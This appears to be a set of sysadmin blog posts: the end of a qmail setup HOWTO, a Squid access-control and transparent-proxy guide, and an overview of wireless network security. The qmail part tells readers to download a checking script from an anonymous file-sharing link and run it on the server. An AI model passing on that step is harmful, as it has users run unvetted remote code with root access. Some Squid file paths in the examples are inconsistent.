    echo "Usage: $0 {start|stop|restart|doqueue|flush|reload|stat|pause|cont|cdb|queue|help}"
    exit 1
    ;;
esac

exit 0

Create the script using your editor.

Make the qmailctl script executable and link it to a directory in your path:

    chmod 755 /var/qmail/bin/qmailctl
    ln -s /var/qmail/bin/qmailctl /usr/bin

The supervise scripts

Now create the supervise directories for the Qmail services:

    mkdir -p /var/qmail/supervise/qmail-send/log
    mkdir -p /var/qmail/supervise/qmail-smtpd/log

Create the /var/qmail/supervise/qmail-send/run file:

#!/bin/sh
exec /var/qmail/rc

Create the /var/qmail/supervise/qmail-send/log/run file:

#!/bin/sh
exec /usr/local/bin/setuidgid qmaill /usr/local/bin/multilog t /var/log/qmail

Create the /var/qmail/supervise/qmail-smtpd/run file:

#!/bin/sh

QMAILDUID=`id -u qmaild`
NOFILESGID=`id -g qmaild`
MAXSMTPD=`cat /var/qmail/control/concurrencyincoming`
LOCAL=`head -1 /var/qmail/control/me`

if [ -z "$QMAILDUID" -o -z "$NOFILESGID" -o -z "$MAXSMTPD" -o -z "$LOCAL" ]; then
    echo QMAILDUID, NOFILESGID, MAXSMTPD, or LOCAL is unset in
    echo /var/qmail/supervise/qmail-smtpd/run
    exit 1
fi

if [ ! -f /var/qmail/control/rcpthosts ]; then
    echo "No /var/qmail/control/rcpthosts!"
    echo "Refusing to start SMTP listener because it'll create an open relay"
    exit 1
fi

exec /usr/local/bin/softlimit -m 5000000 \
    /usr/local/bin/tcpserver -v -R -l "$LOCAL" -x /etc/tcp.smtp.cdb -c "$MAXSMTPD" \
        -u "$QMAILDUID" -g "$NOFILESGID" 0 smtp /var/qmail/bin/qmail-smtpd 2>&1

NOTE: concurrencyincoming isn’t a standard qmail control file. It’s a feature of the above script. Also, that’s -1 (dash one) on the LOCAL line and -l (dash ell) on the tcpserver line.

Create the concurrencyincoming control file:

    echo 20 > /var/qmail/control/concurrencyincoming
    chmod 644 /var/qmail/control/concurrencyincoming

Create the /var/qmail/supervise/qmail-smtpd/log/run file:

#!/bin/sh
exec /usr/local/bin/setuidgid qmaill /usr/local/bin/multilog t /var/log/qmail/smtpd

Make the run files executable:

    chmod 755 /var/qmail/supervise/qmail-send/run
    chmod 755 /var/qmail/supervise/qmail-send/log/run
    chmod 755 /var/qmail/supervise/qmail-smtpd/run
    chmod 755 /var/qmail/supervise/qmail-smtpd/log/run

Then set up the log directories:

    mkdir -p /var/log/qmail/smtpd
    chown qmaill /var/log/qmail /var/log/qmail/smtpd

Finally, link the supervise directories into /service:

    ln -s /var/qmail/supervise/qmail-send /var/qmail/supervise/qmail-smtpd /service

The /service directory is created when daemontools is installed.

NOTE: The Qmail system will start automatically shortly after these links are created. If you don’t want it running yet, do:

    qmailctl stop

SMTP access controll

Allow the local host to inject mail via SMTP:

    echo '127.:allow,RELAYCLIENT=""' >>/etc/tcp.smtp
    qmailctl cdb

Verify that nothing is listening to the SMTP port (25). Culprits could be the old MTA, inetd, or xinetd. The following command should produce no output (unless the qmail-smtpd service is running):

    netstat -a | grep smtp

If something is running, make sure it’s not Qmail by doing:

    qmailctl stop

The repeat the netstat check:

    netstat -a | grep smtp

Create system aliases

There are three system aliases that should be created on all qmail installations:

To create these aliases, decide where you want each of them to go (a local user or a remote address) and create and populate the appropriate .qmail files. For example, say local user dave is both the system and mail administrator:

    echo dave > /var/qmail/alias/.qmail-root
    echo dave > /var/qmail/alias/.qmail-postmaster
    ln -s .qmail-postmaster /var/qmail/alias/.qmail-mailer-daemon
    ln -s .qmail-postmaster /var/qmail/alias/.qmail-abuse
    chmod 644 /var/qmail/alias/.qmail-root /var/qmail/alias/.qmail-postmaster

Start Qmail

If you stopped qmail above after creating the links in /service, you should restart it now:

    qmailctl start

Test the installation

Qmail should now be running. First run qmailctl stat to verify that the services are up and running:

    # qmailctl stat
    /service/qmail-send: up (pid 30303) 187 seconds
    /service/qmail-send/log: up (pid 30304) 187 seconds
    /service/qmail-smtpd: up (pid 30305) 187 seconds
    /service/qmail-smtpd/log: up (pid 30308) 187 seconds
    messages in queue: 0
    messages in queue but not yet preprocessed: 0

All four services should be “up” for more than a second. If they’re not, you’ve probably got a typo in the associated run script or you skipped one or more steps in creating the necessary files, directories, or links. Go back through the installation step-by-step and double check your work. You can also download and run the inst_check script, available from http://www.filedropper.com/qmailinstcheck . For example:

    # sh inst_check
    ! /var/log/qmail has wrong owner, should be qmaill
    ...try: chown qmaill /var/log/qmail
    #

If inst_check finds problems, fix them and re-run it. When everything looks right, inst_check will report:

    Congratulations, your Qmail installation looks good!

Configuration

All of Qmail’s system configuration files, (with the extension .qmail) files in ~alias, reside in /var/qmail/control. The qmail-control man page contains a table like the following:

For more information about a particular control file, see the man page for the module listed under “Used by”.

I think you have successfully setup up your Qmail SMTP server. I’m hoping to meet you again with another couple of HOWTOs on “Qmail configuration – smarthosts, multiple domains, relaying, etc.” and “Running a POP server with Qmail”

Cheers!

In this article I’m not going to cover the installation process of Squid-cache. My focus will be on the access control based configuration of Squid-cache for various requirements and also I’ll be covering how to fine tune the other applications to work with Squid, such as the firewall. In other words I’m gonna talk about access-controls (ACLs) in squid.conf and some post configurations.

The “/etc/squid/squid.conf” file

The main Squid configuration file is squid.conf, and, like most Linux applications, Squid needs to be restarted for changes to the configuration file can take effect.

Squid will fail to start if you don’t give your server a hostname. You can set this with the visible_hostname parameter. Here, the hostname is set to the real name of the server ‘myhost’.

visible_hostname myhost

You can limit users’ ability to browse the Internet with access control lists (ACLs). Each ACL line defines a particular type of activity, such as an access time or source network, they are then linked to an http_access statement that tells Squid whether or not to deny or allow traffic that matches the ACL.

Squid matches each Web access request it receives by checking the http_access list from top to bottom. If it finds a match, it enforces the allow or deny statement and stops reading further. You have to be careful not to place a deny statement in the list that blocks a similar allow statement below it.

NOTE: The final http_access statement denies everything, so it is best to place new http_access statements above that statement.

Squid has a minimum required set of ACL statements in the ACCESS_CONTROL section of the squid.conf file. It is best to put new customized entries right after this list to improve the readability.

Restricting web access by time

You can create access control lists with time parameters. For example, you can allow only business hour access from the home network, while always restricting access to host 192.168.1.10.

#
# Add this to the bottom of the ACL section of squid.conf
#
acl home_network src 192.168.1.0/24
acl business_hours time M T W H F 9:00-17:00
acl RestrictedHost src 192.168.1.10

#
# Add this at the top of the http_access section of squid.conf
#
http_access deny RestrictedHost
http_access allow home_network business_hours

Or, you can allow morning access only:

#
# Add this to the bottom of the ACL section of squid.conf
#
acl morning_hours time 08:00-12:00

#
# Add this at the top of the http_access section of squid.conf
#
http_access allow morning_hours

Restricting access to specific URLs

Squid is also capable of reading files containing lists of web sites and/or domains for use in ACLs. In this example we create to lists in files named /etc/squid/allowed-sites.acl and /etc/squid/restricted-sites.acl

# File: /etc/squid/allowed-sites.acl
www.gnu.org
mysite.com

# File: /etc/squid/restricted-sites.acl
www.restricted.com
illegal.com

These can then be used to always block the restricted sites and permit the allowed sites during working hours. This can be illustrated by expanding our previous example slightly.

#
# Add this to the bottom of the ACL section of squid.conf
#
acl home_network src 192.168.1.0/24
acl business_hours time M T W H F 9:00-17:00
acl GoodSites dstdomain "/etc/allowed-sites.acl"
acl BadSites  dstdomain "/etc/restricted-sites.acl"

#
# Add this at the top of the http_access section of squid.conf
#
http_access deny BadSites
http_access allow home_network business_hours GoodSites

Restricting web access by IP address

You can create an access control list that restricts web access to users on certain networks. In this case, it’s an ACL that defines a home network of 192.168.1.0.

#
# Add this to the bottom of the ACL section of squid.conf
#
acl home_network src 192.168.1.0/255.255.255.0

You also have to add a corresponding http_access statement that allows traffic that matches the ACL:

#
# Add this at the top of the http_access section of squid.conf
#
http_access allow home_network

Password based authentication using NCSA

You can configure Squid to prompt users for a username and password when they are browsing any URLs. Squid comes with a program called ncsa_auth that reads any NCSA-compliant encrypted password file. You can use the htpasswd program that comes installed with Apache to create your passwords. Here is how it’s done:

First you need to create the password file. Here the name of the password file should be /etc/squid/squid_passwd, and you need to make sure that it’s universally readable.

[root]# touch /etc/squid/squid_passwd
[root]# chmod o+r /etc/squid/squid_passwd

Then use the htpasswd program to add users to the password file. You can add users at anytime without having to restart Squid. In this case, you add a username called ‘test_user’:

[root]# htpasswd /etc/squid/squid_passwd test_user
New password:
Re-type new password:
Adding password for user test_user

Now you have to locate the ncsa_auth file.

[root]# locate ncsa_auth
/usr/lib/squid/ncsa_auth

Edit squid.conf; specifically, you need to define the authentication program in squid.conf, which is in this case ncsa_auth. Next, create an ACL named ncsa_users with the REQUIRED keyword that forces Squid to use the NCSA auth_param method you defined previously. Finally, create an http_access entry that allows traffic that matches the ncsa_users ACL entry. Here’s a simple user authentication example; the order of the statements are important:

#
# Add this to the auth_param section of squid.conf
#
auth_param basic program /usr/lib/squid/ncsa_auth /etc/squid/squid_passwd

#
# Add this to the bottom of the ACL section of squid.conf
#
acl ncsa_users proxy_auth REQUIRED

#
# Add this at the top of the http_access section of squid.conf
#
http_access allow ncsa_users

This will enable the password based authentication and allows access only during business hours. Once again, the order of the statements is important:

#
# Add this to the auth_param section of squid.conf
#
auth_param basic program /usr/lib/squid/ncsa_auth /etc/squid/squid_passwd

#
# Add this to the bottom of the ACL section of squid.conf
#
acl ncsa_users proxy_auth REQUIRED
acl business_hours time M T W H F 9:00-17:00

#
# Add this at the top of the http_access section of squid.conf
#
http_access allow ncsa_users business_hours

Remember to restart Squid for the changes to take effect.

Forcing users to use your Squid Server

If you are using access controls on Squid, you may also want to configure your firewall to allow only HTTP Internet access to only the Squid server. This forces your users to browse the Web through the Squid proxy. Also it is possible to limit HTTP Internet access to only the Squid server without having to modify the browser settings on your client PCs. This called a transparent proxy configuration. It is usually achieved by configuring a firewall between the client PCs and the WAN to redirect all HTTP (TCP port 80) traffic to the Squid server on TCP port 3128, which is the Squid server’s default TCP port.

Squid transparent proxy configuration

Your first step will be to modify your squid.conf to create a transparent proxy. The procedure is different depending on your version of Squid. In older versions of Squid ( < 2.6), transparent proxy was achieved through the use of the httpd_accel options which were originally developed for http acceleration. In these cases, the configuration syntax in squid.conf would be as follows:

httpd_accel_host virtual
httpd_accel_port 80
httpd_accel_with_proxy on
httpd_accel_uses_host_header on

Newer versions of Squid simply require you to add the word “transparent” to the default “http_port 3128″ statement. In this example, Squid not only listens on TCP port 3128 for proxy connections, but will also do so in transparent mode.

http_port 3128 transparent

Configuring iptables to support the Squid tansparent proxy

In this example, assuming the Squid server and firewall are in the same server, all HTTP traffic from the home network is redirecting to the firewall itself on the Squid port of 3128 and then only the firewall itself has access the Internet on port 80.

iptables -t nat -A PREROUTING -i eth1 -p tcp --dport 80 -j REDIRECT --to-port 3128
iptables -A INPUT -j ACCEPT -m state --state NEW,ESTABLISHED,RELATED -i eth1 -p tcp --dport 3128
iptables -A OUTPUT -j ACCEPT -m state --state ESTABLISHED,RELATED -o eth1 -p tcp --sport 80

Note: This example is specific to HTTP traffic. You won’t be able to adapt this example to support HTTPS web browsing on TCP port 443, as that protocol specifically doesn’t allow the insertion of a “man in the middle” server for security purposes. One solution is to add IP masquerading statements for port 443, or any other important traffic, immediately after the code snippet. This will allow non HTTP traffic to access the Internet without being cached by Squid.

Reference:

http://www.squid-cache.org/

Special thanks to Peter Harrison.

Most WLAN hardware has gotten easy enough to set up that many users simply plug it in and start using the network without giving much thought to security. If you are running an “open” network, a cracker with a laptop can listen in and analyze everything that you are doing online online – the websites you visit, the emails you send, even the usernames and passwords you exchange with servers. After connecting to your network, he may be able to scan and connect to other machines as well. Sharing your WiFi by keeping your access point “open” is regarded as nice, but there are instances where you want to secure your data.  Here are some of the things you can do to protect your wireless network:

SSID cloaking

Wireless networks identify themselves by a SSID, which can be something like “mynetwork“. Computers with a wireless card whose SSID is set to “mywireles” can connect to each other. Access points send out periodic beacons which are meant to indicate their presence. These beacons also usually broadcast the respective SSID. Thus anyone with a sniffer can find out that there is a network with a “open” SSID and connect to that. A basic form of security is to disable the broadcast SSID. When this is done, the access point doesn’t identify it self when sending out his beacon packets. An intruder who doesn’t know the SSID wont be able to connect to the network. The weakness of this method is that the network’s SSID is sent via other data packets as well. If you listen long enough to the communications between two networks, the SSID can be easily found, making connecting as easy as before.

MAC address filtering

A MAC address is the hardware address of the wireless card. The network uses this to identify where to send data packets. If you have a wireless network with a router and two wireless cards connected to it, you will see two machines connected with two unique MAC addresses. (Here is an example for a MAC address – 00:1C:F0:3A:39:12). Since a MAC address is unique for each network card (like a finger print), another method of security is to ask the wireless router  to accept connections only from certain MAC addresses. Using this method, you could ask the router to only connect machines known to you.

The weakness in this method is that you can set the hardware MAC address of a wireless card  to what ever you wish. If an attacker listens to a wireless network for long enough, he can get a list of connected computers along with their MAC address. Then all he has to do is to wait till one of the computers disconnect from the wireless access point and set his wireless network card’s MAC address to that number and connect to the network.  As far as the access point is concerned, the new connection will be from a known client. This technique is called “MAC address spoofing“.

WEP (Wired Equivalent Privacy)

This is a security method where the computers in a wireless network use a pre-shared security key to encrypt data. Since the data is encrypted before transmission you cannot decrypt WEP enabled network traffic if you don’t have the access key. The problem with WEP is a design limitation – it is inherently insecure at high volumes of traffic. If you have enough data that is transmitted in a WEP encrypted network, you can subject the data obtained o a statistical analysis and guess the security key with near one hundred percent accuracy. Once you have obtained the key, the network is completely decrypted and can be accessed  like an “open” network. Because of these problems, security experts no longer recommend the use of WEP for securing a network. But, if you find that some of your wireless devices only support WEP encryption (this is often the case with non-PC devices like media players, PDAs, and DVRs), avoid the temptation to skip encryption entirely, using WEP is still far superior to having no encryption at all.

WPA (Wireless Protected Access)

Due to the weakness of the WEP system, a stronger security model was needed. The WPA encryption method is much stronger than WEP and is more resistant to attempts at guessing the security key. However one weakness in WPA is the use of weak passwords. An attacker can guess the security key by subjecting captured WPA authentication packets to a dictionary attack. However, WPA is a secure method far superior to WEP if you use a proper password with alternating letters and numbers and no dictionary words.

IpSec (IP Security)

This is the strongest security method available. IpSec is initiated by the computers connected to the network themselves, independent of the medium of transmission (wired or wireless). This method can be used to establish a secure encrypted channel of communication between two computers. The data is authenticated as well, meaning that no outsider is able to insert data packets or generate false packets. The disadvantage of IpSec is that it is difficult to setup without trained, professional help.

Remote administration

Most WLAN routers have the ability to be remotely administered via the Internet. Ideally, you should use this feature only if it lets you define a specific IP address or limited range of addresses that will be able to access the router. Otherwise, almost anyone anywhere could potentially find and access your router. As a rule, unless you absolutely need this capability, it’s best to keep remote administration turned off. (It’s usually turned off by default, but it’s always a good idea to check. ) Although wireless network security has always been problematic, viable solutions are slowly emerging.

Although IpSec is by far the most secure encryption method to use on the network, I also recommend WPA for combining both security and ease of setup.